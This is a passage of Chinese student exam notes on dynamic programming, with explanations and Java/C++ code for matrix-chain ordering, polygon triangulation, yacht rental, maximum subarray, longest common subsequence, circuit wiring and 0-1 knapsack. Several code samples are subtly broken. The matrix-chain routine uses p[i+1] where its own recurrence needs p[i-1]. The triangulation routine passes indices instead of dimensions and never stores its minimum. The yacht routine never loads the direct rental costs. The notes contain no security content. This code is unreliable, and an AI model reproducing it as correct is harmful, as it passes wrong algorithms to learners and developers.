。预排序所需的计算时间显然为𝑂(𝑛log⁡𝑛)。因此,整个算法所需的计算时间为𝑂(𝑛log⁡𝑛),在渐近的意义下,此算法已是最优算法。\n注意考试的时候要写上边界（n = 4）。\n3.动态规划 # 基本概念和步骤 # 1、与分治法的异同 # 相同点：都是将求解问题分为若干个子问题\n不同点：分治法所要求的子问题是独立的，而动态规划所求解的子问题往往不是独立的，重叠的子问题的多次运算可能会造成指数级的运算量。\n2、动态规划的核心思想 # **记表备查：**保存已解决的子问题的答案，而在需要时再找出已求得的答案，就可以避免大量重复计算，从而得到多项式时间算法。\n3、解题步骤 # 1️⃣ 找出最优解的性质，并刻划其结构特征。\n2️⃣ 递归地定义最优值。\n3️⃣ 以自底向上的方式计算出最优值。\n4️⃣ 根据计算最优值时得到的信息，构造最优解\n4、基本要素 # 重叠子问题与最优子结构。\n矩阵连乘计算次序问题的最优解包含着其子问题的最优解。这种性质称为最优子结构性质。\n要证明最优子结构的性质。\n最优子结构的证明通常采用反证法，需要掌握。\n全局的最优一定有局部的最优，局部的最优不一定会形成全局的最优，必要不充分条件\n5、两种基本形态 # 动态规划(自底向上)与备忘录（memo）方法。\n备忘录方法是动态规划方法的变形，都是记表备查，不同点在于备忘录方法是自顶向下的递归，而动态规划是自底向上的递归\n一般来说，当一个问题的所有子问题都需要至少解一次时，用动态规划算法比用备忘录方法要好\n具体问题设计 # 1.*矩阵连乘问题 # ​\t给定n个矩阵𝐴1,𝐴2,…,𝐴𝑛，其中𝐴𝑖与𝐴𝑖+1是可乘的，i=1, 2,…, n-1。考察这n个矩阵的连乘积𝐴1𝐴2…𝐴𝑛。\n​\t由于矩阵乘法满足结合律，所以计算矩阵的连乘可以有许多不同的计算次序。这种计算次序可以用加括号的方式来确定。若一个矩阵连乘积的计算次序完全确定，也就是说该连乘积已完全加括号，则可以依此次序反复调用2个矩阵相乘的标准算法计算出矩阵连乘积。\n完全加括号的矩阵连乘积可递归地定义为：\n①单个矩阵是完全加括号的；\n②矩阵连乘积A是完全加括号的，则A可表示为2个完全加括号的矩阵连乘积B和C的乘积并加括号，即A=(BC)\n设有四个矩阵A,B,C,D，可以有以下5种不同的加括号方式：\n(A(B(CD))) (A((BC)D)) ((AB)(CD)) ((A(BC))D) (((AB)C)D)\n​\t每一种完全加括号方式对应于一种矩阵连乘积的计算次序，而矩阵连乘积的计算次序与其计算量有密切关系。矩阵A(p×q)和矩阵B(q×r)的乘积C=AB是一个p×r的矩阵，数乘次数为pqr\n❓ 问题：\n给定n个矩阵𝐴1,𝐴2,…,𝐴𝑛，其中𝐴𝑖与𝐴𝑖+1是可乘的，i=1, 2,…, n-1。如何确定计算矩阵连乘积的计算次序，使得依此次序计算矩阵连乘积需要的数乘次数最少。\n1）穷举法 # 计算次序相应需要的数乘次数，从中找出一种数乘次数最少的计算次序。\n对于n个矩阵的连乘积，设其不同的计算次序为P(n)。由于每种加括号方式都可以分解为两个子矩阵的加括号问题：(A1\u0026hellip;Ak)(Ak+1…An)可以得到关于P(n)的递推式如下：\n这个数字太大，没有计算价值。\n2）动态规划法 # 将矩阵连乘积AiAi+1…Aj简记为A[i:j] ，这里i≤j 。\n考察计算A[i:j]的最优计算次序。设这个计算次序在矩阵Ak和Ak+1之间将矩阵链断开，i≤k\u0026lt;j，则其相应完全加括号方式为：\n(AiAi+1…Ak) (Ak+1Ak+2…Aj)\n计算量：A[i:k]的计算量加上A[k+1:j]的计算量，再加上A[i:k]和A[k+1:j]相乘的计算量。\n1️⃣ 分析最优解的结构\n特征：计算A[i:j]的最优次序所包含的计算矩阵子链 A[i:k]和A[k+1:j]的次序也是最优的。\n矩阵连乘计算次序问题的最优解包含着其子问题的最优解。这种性质称为最优子结构性质。问题的最优子结构性质是该问题可用动态规划算法求解的显著特征。\n2️⃣ 建立递归关系\n设计算A[i:j]，1≤i≤j≤n，所需要的最少数乘次数m[i,j]，则原问题的最优值为m[1,n]。\n设Ai的维数为𝑝𝑖−1×𝑝𝑖，则\n当i=j时，𝐴[𝑖:𝑗]=𝐴𝑖，因此，m[i,i]=0，i=1,2,…,n\n当i\u0026lt;j时，𝑚[𝑖:𝑗]=𝑚[𝑖,𝑘]+𝑚[𝑘+1,𝑗]+𝑝𝑖−1𝑝𝑘𝑝𝑗\n可以递归地定义m[i,j]为：\n必考问题。\nk的位置只有j-i种可能\n3️⃣ 计算最优值\n对于1≤i≤j≤n不同的有序对(i,j)对应于不同的子问题。因此，不同子问题的个数最多只有\n​\t由此可见，在递归计算时，许多子问题被重复计算多次。这也是该问题可用动态规划算法求解的又一显著特征\n用动态规划算法解此问题，可依据其递归式以自底向上的方式进行计算。在计算过程中，保存已解决的子问题答案。每个子问题只计算一次，而在后面需要时只要简单查一下，从而避免大量的重复计算，最终得到多项式时间的算法。\n代码如下：\npublic static void matrixChain(int[] p, int[][] dp, int[][] partitionIndex){ //有n个矩阵 int n = p.length - 1; //初始化为0 for(int index = 0; index \u0026lt; n; ++index){ dp[index][index] = 0; } //控制矩阵链的长度 for(int len = 2; len \u0026lt;= n; ++len){ for(int i = 1; i \u0026lt;= n - len + 1; ++i){ //以第一个为基础 int j = i + len - 1; dp[i][j] = dp[i + 1][j] + p[i + 1] * p[i] * p[j]; partitionIndex[i][j] = i; for(int k = i + 1; k \u0026lt; j; ++k){ int value = dp[i][k] + p[i - 1] * p[k] * p[j] + dp[k + 1][j]; if(value \u0026lt; dp[i][j]){ dp[i][j] = value; partitionIndex[i][j] = k; } } } } } ​\t算法MatrixChain的主要计算量取决于算法中对r，i和k的3重循环。循环体内的计算量为𝑂(1)，而3重循环的总次数为𝑂(𝑛3)。因此算法的计算时间上界为𝑂(𝑛3)。算法所占用的空间显然为𝑂(𝑛2)。\ntraceback递归地来构造答案，那么完整可运行的代码如下：\npackage Dynamic; public class demo01 { public static void matrixChain(int[] p, int[][] dp, int[][] partitionIndex){ //有n个矩阵 int n = p.length - 1; //初始化为0 for(int index = 0; index \u0026lt; n; ++index){ dp[index][index] = 0; } //控制矩阵链的长度 for(int len = 2; len \u0026lt;= n; ++len){ for(int i = 1; i \u0026lt;= n - len + 1; ++i){ //以第一个为基础 int j = i + len - 1; dp[i][j] = dp[i + 1][j] + p[i + 1] * p[i] * p[j]; partitionIndex[i][j] = i; for(int k = i + 1; k \u0026lt; j; ++k){ int value = dp[i][k] + p[i - 1] * p[k] * p[j] + dp[k + 1][j]; if(value \u0026lt; dp[i][j]){ dp[i][j] = value; partitionIndex[i][j] = k; } } } } } public static void traceBack(int left, int right, int[][] partitionIndex){ if(left == right){ System.out.printf(\u0026#34;A\u0026#34; + left); }else{ System.out.print(\u0026#34;(\u0026#34;); traceBack(left, partitionIndex[left][right], partitionIndex); traceBack(partitionIndex[left][right] + 1, right, partitionIndex); System.out.print(\u0026#34;)\u0026#34;); } } public static void main(String[] args) { int[] p = {30, 35, 15, 5, 10, 20, 25}; int n = 6; int[][] m = new int[7][7]; int[][] s = new int[7][7]; matrixChain(p, m, s); traceBack(1, 6, s); System.out.println(); System.out.println(m[1][6]); } } 3）备忘录方法 # memo (python:@cache)\n​\t备忘录方法的控制结构与直接递归方法的控制结构相同，区别在于备忘录方法为每个解过的子问题建立了备忘录以备需要时查看，避免了相同子问题的重复求解。\n​\t备忘录方法的递归方式是自顶向下的，而动态规划算法则是自底向上递归的。\n​\t用递归解决问题的期间把值记录起来。\n以下是代码：\npackage Dynamic; public class demo02 { public static int lookUpChain(int left, int right, int[] p, int[][] m, int[][] partitionIndex){ if(m[left][right] \u0026gt; 0){ return m[left][right]; } if(left == right){ return 0; } int min = lookUpChain(left, left, p, m, partitionIndex) + lookUpChain(left + 1, right, p, m, partitionIndex) + p[left - 1] * p[left] * p[right]; partitionIndex[left][right] = left; for(int index = left + 1; index \u0026lt;= right; ++index){ int curr = lookUpChain(left, index, p, m, partitionIndex) + lookUpChain(index + 1, right, p, m, partitionIndex) + p[left - 1] * p[index] * p[right]; if(curr \u0026lt; min){ min = curr; partitionIndex[left][right] = index; } } m[left][right] = min; return min; } } 2.凸多边形最优三角剖分 # 用多边形顶点的逆时针序列表示凸多边形，即P={v0,v1,…,vn-1}表示具有n条边的凸多边形。\n若vi与vj是多边形上不相邻的2个顶点，则线段vivj称为多边形的一条弦。弦将多边形分割成2个多边形{vi,vi+1,…,vj}和{vj,vj+1,…,vi}。\n多边形的三角剖分是将多边形分割成互不相交的三角形的弦的集合T。\n注意：T中各弦互不相交，且集合T已达到最大；有n个顶点的凸多边形的三角剖分中，恰有n-3条弦和n-2个三角形。\n题目描述：给定凸多边形P，以及定义在由多边形的边和弦组成的三角形上的权函数w。要求确定该凸多边形的三角剖分，使得该三角剖分中诸三角形上权之和为最小。\n① 三角剖分的结构 # ​\t一个表达式的完全加括号方式相应于一棵完全二叉树，称为表达式的语法树。例如，完全加括号的矩阵连乘积((A1(A2A3))(A4(A5A6)))所相应的语法树如图 (a)所示。凸多边形{v0,v1,…vn-1}的三角剖分也可以用语法树表示。例如，图 (b)中凸多边形的三角剖分可用图 (a)所示的语法树表示。\n​\t矩阵连乘积中的每个矩阵Ai对应于凸(n+1)边形中的一条边𝑣𝑖−1𝑣𝑖。三角剖分中的一条弦𝑣𝑖𝑣𝑗，i\u0026lt;j，对应于矩阵连乘积A[i+1:j]。\n​\t给定矩阵链𝐴1𝐴2𝐴3𝐴4𝐴5𝐴6，Ai的维数为𝑝𝑖−1×𝑝𝑖；定义凸多边形P={𝑣0,𝑣1,𝑣2,𝑣3,𝑣4,𝑣5,𝑣6}，其三角形𝑣𝑖𝑣𝑗𝑣𝑘上的权函数值为𝑤(𝑣𝑖𝑣𝑗𝑣𝑘)=𝑝𝑖𝑝𝑗𝑝𝑘，依此定义，P的最优三角剖分所对应的语法树给出了矩阵链的最优完全加括号方式。\n② 最优子结构性质 # ​\t凸多边形的最优三角剖分问题有最优子结构性质。\n证明的时候就要使用反证法。\n​\t事实上，若凸(n+1)边形P={v0,v1,…,vn-1}的最优三角剖分T包含三角形v0vkvn，1≤k≤n-1，则T的权为3个部分权的和：三角形v0vkvn的权，子多边形{v0,v1,…,vk}和{vk,vk+1,…,vn}的权之和。可以断言，由T所确定的这2个子多边形的三角剖分也是最优的。因为若有{v0,v1,…,vk}或{vk,vk+1,…,vn}的更小权的三角剖分将导致T不是最优三角剖分的矛盾。\n③ 最优三角形剖分的递归结构 # 注意定义的时候前面有一个-1,所以最优方案也是从1开始为t1n\n​\t定义𝑡[𝑖][𝑗]，1≤i\u0026lt;j≤n为凸子多边形{vi-1, vi,…,vj}的最优三角剖分所对应的权函数值，即其最优值。为方便起见，设退化的多边形{vi-1,vi}具有权值0。据此定义，要计算的凸(n+1)边形P的最优权值为𝑡[1][𝑛]。\nt [ i ] [ j ] 的值可以利用最优子结构性质递归地计算。当j-i≥1时，凸子多边形至少有3个顶点。由最优子结构性质，**$t[i][j]$**的值应为$t[i][k]$的值加上$t[k+1][j]$的值，再加上三角形$v_{i-1}v_kv_j$的权值，其中i≤k≤j-1。由于在计算时还不知道k的确切位置，而k的所有可能位置只有j-i个，因此可以在这j-i个位置中选出使值$t[i][j]$达到最小的位置。由此，$t[i][j]$可递归地定义为 那么代码如下，和矩阵乘法是类似的处理方式：\npackage Dynamic; public class demo03 { public static int w(int a, int b, int c){ return a * b * c; } public static void minWeightTriangulation(int[] p, int[][] dp, int n, int[][] partitionIndex){ //initialize for(int index = 1; index \u0026lt;= n; ++index){ dp[index][index] = 0; } for(int r = 2; r \u0026lt;= n; ++r){ for(int i = 1; i \u0026lt;= n - r + 1; ++i){ int j = i + r - 1; int minValue = dp[i + 1][j] + w(i - 1, i, j); partitionIndex[i][j] = i; for(int k = i + 1; k \u0026lt; i + r - 1; ++k){ int currValue = dp[i][k] + w(i - 1, j, k) + dp[k + 1][j]; if(currValue \u0026lt; minValue){ minValue = currValue; partitionIndex[i][j] = k; } } } } } } 3.多边形游戏 # ​\t多边形游戏是一个单人玩的游戏，开始时有一个由n个顶点构成的多边形。每个顶点被赋予一个整数值，每条边被赋予一个运算符“+”或“*”。所有边依次用整数从1到n编号。\n1️⃣ 游戏第1步，将一条边删除。\n2️⃣ 随后n-1步按以下方式操作：\n(1)选择一条边E以及由E连接着的2个顶点V1和V2；\n(2)用一个新的顶点取代边E以及由E连接着的2个顶点V1和V2。将由顶点V1和V2的整数值通过边E上的运算得到的结果赋予新顶点。\n3️⃣ 最后，所有边都被删除，游戏结束。游戏的得分就是所剩顶点上的整数值。\n先只作证明，具体可以看书。\n4.公园游艇问题(考试难度类似) # ​\t题目描述：长江游艇俱乐部在长江上设置了n 个游艇出租站{1,2,…,n}。游客可在这些游艇出租站租用游艇，并在下游的任何一个游艇出租站归还游艇。游艇出租站 i 到游艇出租站 j 之间的租金为r(i,j),1≤i\u0026lt;j≤n。试设计一个算法，计算出从游艇出租站 1 到游艇出租站 n 所需的最少租金。\n思考一下，还是和矩阵连乘的问题是类似的。\n1️⃣ 最优解结构\n​\tr(i,j)表示游艇出租站i直接到j之间的租金，m(i,j)表示从出租站i出发，到达第j站需要的租金 例如m(1,3)就表示从第1站出发，到达第3站所需的租金，而m(1,3)可以有多种租用方案，例如可以1-2.2-3与1-3。\n假设在第k站换游艇( i ≤ k ≤ j ) ,则有m(i,j)=m(i,k)+m(k,j)，其中m(i,j)的最优解包括m(i,k)与m(k,j)的最优解。\n2️⃣ 建立递归关系\n由以上分析可知，显然有：\n3️⃣ 计算最优值\nvoid cent(int[][] m, int n, int[][] s) { for (int i = 1; i \u0026lt;=n ; i++) { m[i][i]=0; } for (int r = 2; r \u0026lt;= n; r++) for (int i = 1; i \u0026lt;= n - r + 1; i++) { int j = i + r - 1; s[i][j] = i; for (int k = i; k \u0026lt;= j; k++) { int temp = m[i][k] + m[k][j]; if (temp \u0026lt; m[i][j]) { m[i][j] = temp; s[i][j] = k;//在第k站下 } } } } 构造最优解：\nvoid traceBack(int i, int j, int[][] s) { if (i == j) { System.out.print(i); return; } System.out.print(\u0026#34;[\u0026#34;); traceBack(i, s[i][j], s); traceBack(s[i][j] + 1, j, s); System.out.print(\u0026#34;]\u0026#34;); } 5.最大子段和 # 和最大的一个连续子数组。\n​\tLeetCode：https://leetcode.cn/problems/maximum-subarray/description/\n​\t题目描述：给定由n个整数（可能为负整数）组成的序列a1,a2,…,an，求该序列子段和的最大值。当所有整数均为负整数时定义其最大子段和为0。依此定义，所求的最优值为： 例，序列{-2,11,-4,13,-5,-2}的最大子段和为20。\n​\t做法：定义状态 f[i] 表示以 a[i] 结尾的最大子数组和，不和 i 左边拼起来就是 f[i]=a[i]，和 i 左边拼起来就是 f[i]=f[i−1]+a[i]，取最大值就得到了状态转移方程 f[i]=max(f[i−1],0)+a[i]，答案为 max(f)。这个做法也叫做 Kadane 算法。\n由b[j]的定义易知，当b[j-1]\u0026gt;0时，b[j]=b[j-1]+a[j]，否则b[j]=a[j]，故 代码如下：\nclass Solution { public int maxSubArray(int[] nums) { int ans = nums[0]; int n = nums.length; int[] dp = new int[n]; dp[0] = nums[0]; for(int index = 1; index \u0026lt; n; ++index){ if(dp[index - 1] \u0026lt; 0){ dp[index] = nums[index]; }else{ dp[index] = dp[index - 1] + nums[index]; } ans = Math.max(ans, dp[index]); } return ans; } } 最大子段和问题与动态规划算法的推广 # 1、最大子矩阵和问题 # 给定一个m行n列的整数矩阵A，试求矩阵A的一个子矩阵，使其各元素之和为最大。\n把每两行之间的数字相加起来，使之成为一个一维的数组，接着用上面的方法来处理即可，这个问题比较简单。\n/** * 最大子矩阵和 * @param m * @param n * @param a * @return */ public static int MaxSum2(int m,int n,int[][]a){ int sum=0; int[]b=new int[n]; for(int i=0;i\u0026lt;m;i++){ //从第i行 for(int k=0;k\u0026lt;n;k++) //初始化数组b b[k]=0; for(int j=i;j\u0026lt;m;j++){ //到第j行 for(int k=0;k\u0026lt;n;k++) b[k]+=a[j][k];//按列取值 int max=solveByDP(b); if(max\u0026gt;sum) sum=max; } } return sum; } 2.*最大M子段和问题 # ​\t定由n个整数（可能为负数）组成的序列{a1,a2,…,an}，以及一个正整数m，要求确定序列{a1,a2,…,an}的m个不相交子段，使这m个子段的总和达到最大。\n设b(i,j)表示数组a的前j项中i个子段和的最大值，且第i个子段含a[j]（1≤i ≤ m，i ≤j ≤n），则计算b(i,j)的递归式为\n初始时\nb(0,j)=0, (1≤j ≤n)\nb(i,0)=0, (1≤i ≤m)\nint MaxSum(int m,int n,int *a) { if(n\u0026lt;m||m\u0026lt;1) return 0; int **b=new int *[m+1]; //定义二维数组b for(int i=0; i\u0026lt;=m; i++) b[i]=new int[n+1]; for(int i=0; i\u0026lt;=m; i++) //初始值 b[i][0]=0; for(int j=1; j\u0026lt;=n; j++) b[0][j]=0; for(int i=1; i\u0026lt;=m; i++) //1≤i ≤m for(int j=i; j\u0026lt;n-m+i; j++) //j≥i, t\u0026lt;j if(j\u0026gt;i) { b[i][j]=b[i][j-1]+a[j]; for(int k=i-1; k\u0026lt;j; k++) //i-1≤t\u0026lt;j if(b[i][j]\u0026lt;b[i-1][k]+a[j]) b[i][j]=b[i-1][k]+a[j]; } else //j=i, 每个数都是一个子段 b[i][j]=b[i-1][j-1]+a[j]; int sum=0; for(int j=m; j\u0026lt;=n; j++) if(sum\u0026lt;b[m][j]) sum=b[m][j]; return sum; } 6.*图像压缩问题（没看懂） # 我没看懂在干嘛，先放着吧。\n​\t计算机中常用像素点灰度值序列{𝑝1,𝑝2,\u0026hellip;,𝑝𝑛}表示图像，𝑝𝑖表示像素点i的灰度值。灰度值的范围常为0~255，需要用8位来表示。\n​\t图像的变位压缩存储格式将所给的像素点序列{𝑝1,𝑝2,\u0026hellip;,𝑝𝑛}分割成m个连续段{𝑆1,𝑆2,\u0026hellip;,𝑆𝑚}。第i个像素段Si中有l[i]个像素，且该段中每个像素都只用b[i]位表示。需用3位表示b[i]，如果限制1≤l[i]≤255，则需要用8位表示l[i]，因此第i个像素段所需的存储空间为l[i]*b[i]+11。——即一段中最多有255个像素，用8位二进制表示\n整个像素序列的存储空间为\n问题描述：确定像素序列{p1,p2,\u0026hellip;,pn}的一个最优分段，使得依此分段所需的存储空间最小。其中0≤pi ≤255，1 ≤i ≤n，每个分段的长度不超过255位。\n1️⃣ 最优子结构 # 设l[i],b[i]，1≤i ≤m是{𝑝1,𝑝2,…,𝑝𝑛}的最优分段。显而易见，l[1],b[1]是{𝑝1,𝑝2,…,𝑝𝑙[1]}的最优分段，且l[i],b[i]， 2≤i ≤m是\n{𝑝𝑙[1]+1,…,𝑝𝑛}的最优分段。即图象压缩问题满足最优子结构性质。\n2️⃣ 递归计算最优值 # 设s[i]，1≤i≤n，是像素序列{𝑝1,𝑝2,…,𝑝𝑖}的最优分段所需的存储位数。由最优子结构性质易知：\n举例：\n3️⃣ 构造最优解 # 算法用l[i],b[i]记录了最优分段所需的信息。\n最优分段的最后一段的段长和像素位数分别存储于l[n]和b[n]中，其前一段的段长度和像素位数存储于l[n-l[n]]和b[n-l[n]]中。依此类推，可在O(n)时间内构造出相应的最优解\n/** * 计算十进制数i所需的二进制位数 * * @param i * @return */ static int length(int i) { int k = 1; i = i / 2; while (i \u0026gt; 0) { k++; i = i / 2; } return k; } /** * @param n * @param l [p1:pi]的最优分段中最后1个分段的像素个数 * @param p p[p1:pn]，像素点灰度值序列 * @param s 像素序列[p1:pi]的最优分段所需的存储位数 * @param b 像素p[i]所需的存储位数 */ public static void Compress(int n, int[] p, int[] s, int[] l, int[] b) { int Lmax = 255;//每个分段的长度不超过255位 int header = 11;//分段段头所需的位数,表示一个段的附加信息 s[0] = 0; for (int i = 1; i \u0026lt;= n; i++) //[p1:pi] { b[i] = length(p[i]); int bmax = b[i]; s[i] = s[i - 1] + bmax; //k=1 l[i] = 1; for (int j = 2; j \u0026lt;= i \u0026amp;\u0026amp; j \u0026lt;= Lmax; j++) //最后的1个分段中有j个像素 { if (bmax \u0026lt; b[i - j + 1]) bmax = b[i - j + 1];//这一段中的最大位数 if (s[i] \u0026gt; s[i - j] + j * bmax) {//找到更好的分段 s[i] = s[i - j] + j * bmax; l[i] = j; } } s[i] += header;//加上额外开销 } } public static int Traceback(int n, int i, int[] s, int[] l) { if (n == 0) return i; i = Traceback(n - l[n], i, s, l); s[i++] = n - l[n];// 重新为s[]数组赋值，用来存储分段位置 return i; } static void Output(int s[], int l[], int b[], int n) { System.out.println(\u0026#34;The optimal value is \u0026#34; + s[n]); int m = 0; m=Traceback(n, m, s, l); //m:分段数 s[m] = n; //m个分段像素的累积和，Traceback算到m-1个 System.out.println(\u0026#34;Decompose into \u0026#34; + m + \u0026#34; segments\u0026#34;); for (int j = 1; j \u0026lt;= m; j++) { l[j] = l[s[j]]; //计算第j个分段像素个数: l[j] b[j] = b[s[j]]; //计算第j个分段所需的存储位数: b[j] } for (int j = 1; j \u0026lt;= m; j++) System.out.println(l[j] + \u0026#34; \u0026#34; + b[j]); } public static void main(String[] args) { int p[] = {0,10,12,15,255,2,1};//第一位不算 int N=p.length; int s[] = new int[N]; int l[] = new int[N]; int b[] = new int[N]; Compress(N-1, p, s, l, b); Output(s, l, b, N-1); } } 7.*最长公共子序列 # LeetCode:https://leetcode.cn/problems/longest-common-subsequence/description/\n​\t若给定序列𝑋=𝑥1,𝑥2,…,𝑥𝑚，则另一序列𝑍=𝑧1,𝑧2,…,𝑧𝑘，是X的子序列是指存在一个严格递增下标序列𝑖1,𝑖2,…,𝑖𝑘使得对于所有j=1,2,…,k有：𝑧𝑗=𝑥𝑖𝑗。例如，序列Z={B, C, D, B}是序列X={A, B, C , B, D, A, B}的子序列，相应的递增下标序列为{2, 3, 5, 7}。给定2个序列X和Y，当另一序列Z既是X的子序列又是Y的子序列时，称Z是序列X和Y的公共子序列。例：X={A,B,C,B,D,A,B}，Y={B,D,C,A,B,A}，则序列{B,C,A}是X和Y的一个公共子序列。\n1）最长公共子序列的结构 # 设序列X={x1,x2,…,xm}和Y={y1,y2,…,yn}的最长公共子序列为Z={z1,z2,…,zk} ，则\n⑴若xm=yn，则zk=xm=yn，且Zk-1是Xm-1和Yn-1的最长公共子序列。\n⑵若xm≠yn且zk≠xm，则Z是Xm-1和Y的最长公共子序列。\n⑶若xm≠yn且zk≠yn，则Z是X和Yn-1的最长公共子序列。\n由此可见，2个序列的最长公共子序列包含了这2个序列的前缀的最长公共子序列。因此，最长公共子序列问题具有最优子结构性质。\n2）子问题的递归结构 # 由最长公共子序列问题的最优子结构性质建立子问题最优值的递归关系。用𝑐[𝑖][𝑗]记录序列的最长公共子序列的长度。其中，\nX i = x 1 , x 2 , … , x i ； Y j = y 1 , y 2 , … , y j 。当i=0或j=0时，空序列是Xi和Yj的最长公共子序列。故此时𝐶[𝑖][𝑗]=0。其它情况下，由最优子结构性质可建立递归关系如下：\n3）计算最优值 # 由于在所考虑的子问题空间中，总共有θ(mn)个不同的子问题，因此，用动态规划算法自底向上地计算最优值能提高算法的效率。\n输入：x,y （序列数组）\n输出：\nc [ i ] [ j ] ，存储x[1:i]和y[1:j]的最长公共子序列的长度；\nb [ i ] [ j ] ，记录上面𝑐[𝑖][𝑗]的值是由哪个子问题的解得到的。\n/** * 计算最长公共子序列 * @param x 序列数组 * @param y 序列数组 * @param c 存储x[1:i]和y[1:j]的最长公共子序列的长度 * @param b 记录上面c[i][j]的值是由哪个子问题的解得到的 */ public static void LCSLength(char[] x, char[] y, int[][] c, int[][] b) { int m = x.length-1; int n = y.length-1; for (int i = 1; i \u0026lt;= m; i++) { c[i][0] = 0; } for (int i = 1; i \u0026lt;= n; i++) { c[0][i] = 0; }//第一个条件 for (int i = 1; i \u0026lt;= m; i++) { for (int j = 1; j \u0026lt;= n; j++) { if (x[i] == y[j]) { c[i][j] = c[i - 1][j - 1] + 1; b[i][j] = 1; //表示Xi和Yi的最长公共子序列是由Xi-1和Yi-1的最长公共子序列在尾部加上xi所得到的。 } else if (c[i - 1][j] \u0026gt;= c[i][j - 1]) { c[i][j] = c[i - 1][j]; b[i][j] = 2; //表示Xi和Yi的最长公共子序列与Xi-1和Yi的最长公共子序列相同 } else { c[i][j] = c[i][j - 1]; b[i][j] = 3; //表示Xi和Yi的最长公共子序列与Xi和Yj-1的最长公共子序列相同 } } } } 算法耗时O(mn)\n4）构造最长公共子序列 # 从𝑏[𝑚][𝑛] 开始，依其值在数组b中搜索。\nb [ i ] [ j ] 的值为：\n1，表示Xi和Yi的最长公共子序列是由Xi-1和Yi-1的最长公共子序列在尾部加上xi所得到的。\n2，表示Xi和Yi的最长公共子序列与Xi-1和Yi的最长公共子序列相同。\n3， 表示Xi和Yi的最长公共子序列与Xi和Yi-1的最长公共子序列相同。\npublic static void LCS(int m, int n, char[] x, int[][] b) { if (m == 0 || n == 0) { return; } if (b[m][n] == 1) { LCS(m - 1, n - 1, x, b); System.out.print(x[m]); } else if (b[m][n] == 2) { LCS(m - 1, n, x, b); } else { LCS(m, n - 1, x, b); } } 5）算法的改进 # ​\t在算法lcsLength和lcs中，可进一步将数组b省去。事实上，数组元素𝑐[𝑖][𝑗]的值仅由，和𝑐[𝑖−1][𝑗−1]，𝑐[𝑖−1][𝑗]和𝑐[𝑖][𝑗−1]这3个数组元素的值所确定。对于给定的数组元素𝑐[𝑖][𝑗]，可以不借助于数组b而仅借助于c本身在O(1)时间内确定𝑐[𝑖][𝑗]的值是由，和𝑐[𝑖−1][𝑗−1]，𝑐[𝑖−1][𝑗]和𝑐[𝑖][𝑗−1]中哪一个值所确定的。\n​\t如果只需要计算最长公共子序列的长度，则算法的空间需求可大大减少。事实上，在计算𝑐[𝑖][𝑗]时，只用到数组c的第i行和第i-1行。因此，用2行的数组空间就可以计算出最长公共子序列的长度。进一步的分析还可将空间需求减至O(min(m,n))。\n8.电路布线问题 # LeetCode类似问题：https://leetcode.cn/problems/uncrossed-lines/description/\nLCS的变种。\n​\t在一块电路板的上、下2端分别有n个接线柱。根据电路设计，要求用导线(i,π(i))将上端接线柱与下端接线柱相连，其中π(i)是{1,2,…,n}的一个排列。导线(i,π(i))称为该电路板上的第i条连线。对于任何1≤i\u0026lt;j≤n，第i条连线和第j条连线相交的充分且必要的条件是π(i)\u0026gt;π(j)。\n​\t电路布线问题要确定将哪些连线安排在第一层上，使得该层上有尽可能多的连线。换句话说，该问题要求确定导线集Nets={(i,π(i)),1≤i≤n}的最大不相交子集。\n最优子结构性质 # 看清楚这里N(i,j)的实际含义。t \u0026lt;= i\u0026hellip;\u0026hellip;\n考试前再看一下，比较有意思。\n代码：\nvoid MNS(int C[],int n,int **size){ //C[i]，即π[i] //size[i][j]，N(i,j)的最大不相交子集中连线的数目 for(int j=0; j\u0026lt;C[1]; j++) //i=1，j\u0026lt;π(1) size[1][j]=0; for(int j=C[1]; j\u0026lt;=n; j++) //i=1，j\u0026gt;=π(1) size[1][j]=1; for(int i=2; i\u0026lt;n; i++) //1\u0026lt;i\u0026lt;n { for(int j=0; j\u0026lt;C[i]; j++) //j\u0026lt;π(i) size[i][j]=size[i-1][j]; for(int j=C[i]; j\u0026lt;=n; j++) //j\u0026gt;=π(i) size[i][j]=max(size[i-1][j],size[i-1][C[i]-1]+1); } size[n][n]=max(size[n-1][n],size[n-1][C[n]-1]+1); //i=n,j=n } void Traceback(int C[],int **size,int n,int Net[],int \u0026amp;m) { //Net[0:m-1]存储MNS(n,n)中的m条连线 int j=n; m=0; for(int i=n; i\u0026gt;1; i--) if(size[i][j]!=size[i-1][j]) //第i条连线∈MNS(n,n) { Net[m++]=i; j=C[i]-1; //π[i] } if(j\u0026gt;=C[1]) //i=1 Net[m++]=1; } 9.01背包问题（重要） # 可以看代码随想录，我不知道为什么课本能写的这么逆天。\n但是要理解书上的关于跳跃点的问题。\nhttps://programmercarl.com/%E8%83%8C%E5%8C%85%E7%90%86%E8%AE%BA%E5%9F%BA%E7%A1%8001%E8%83%8C%E5%8C%85-2.html#%E7%AE%97%E6%B3%95%E5%85%AC%E5%BC%80%E8%AF%BE\n重要：背下来\n给定n种物品和一背包。物品i的重量是𝑤𝑖，其价值为𝑣𝑖，背包的容量为C。问应如何选择装入背包的物品，使得装入背包中物品的总价值最大?\n0-1背包问题是一个特殊的整数规划问题\n1️⃣ 最优子结构性质（证明题） # 注意证明的方法和思想。\n设(y1,y2,\u0026hellip;,yn)是所给问题的一个最优解，则(y2,y3,\u0026hellip;,yn)是下面相应子问题的的一个最优解：\n若不然，设(z2,z3,\u0026hellip;,zn)是上述子问题的一个最优解。\n这说明(y1,z2,\u0026hellip;,zn)是所给问题的一个更优解，从而与(y1,y2,\u0026hellip;,yn)是所给问题的最优解相矛盾。\n在这里反推矛盾，书上这里还写错了，纯垃圾书!\n2️⃣ 递归关系 # 设所给0-1背包问题的子问题的最优值为m(i,j)，即m(i,j)是背包容量为j，可选择物品为i,i+1,…,n时0-1背包问题的最优值。 由0-1背包问题的最优子结构性质，可以建立计算m(i,j)的递归式如下。\n3️⃣ 算法描述 # public class KnapsackProblem { //0-1背包问题 /** * * @param v v[1:n]，物品i的价值 * @param w w[1:n]，物品i的重量 * @param c 背包容量 * @param n * @param m m[i][j]，背包容量为j，可选物品为[i:n]时，0-1背包问题的最优值 */ public static void Knapsack(int[]v,int[]w,int c,int n,int[][]m){ int jMax = Math.min(w[n]-1,c); for (int j = 0; j \u0026lt;=jMax; j++) { m[n][j]=0;//j\u0026lt;=c\u0026amp;\u0026amp;j\u0026lt;w[n]，物品n无法放入背包 } for (int j = w[n]; j \u0026lt;=c; j++) { m[n][j]=v[n];//w[n]\u0026lt;=j\u0026lt;=c，物品n可以放入背包 }//画边界，从后往前看 for (int i = n-1; i \u0026gt;1 ; i--) { jMax = Math.min(w[i]-1,c); for (int j = 0; j \u0026lt;=jMax; j++) { 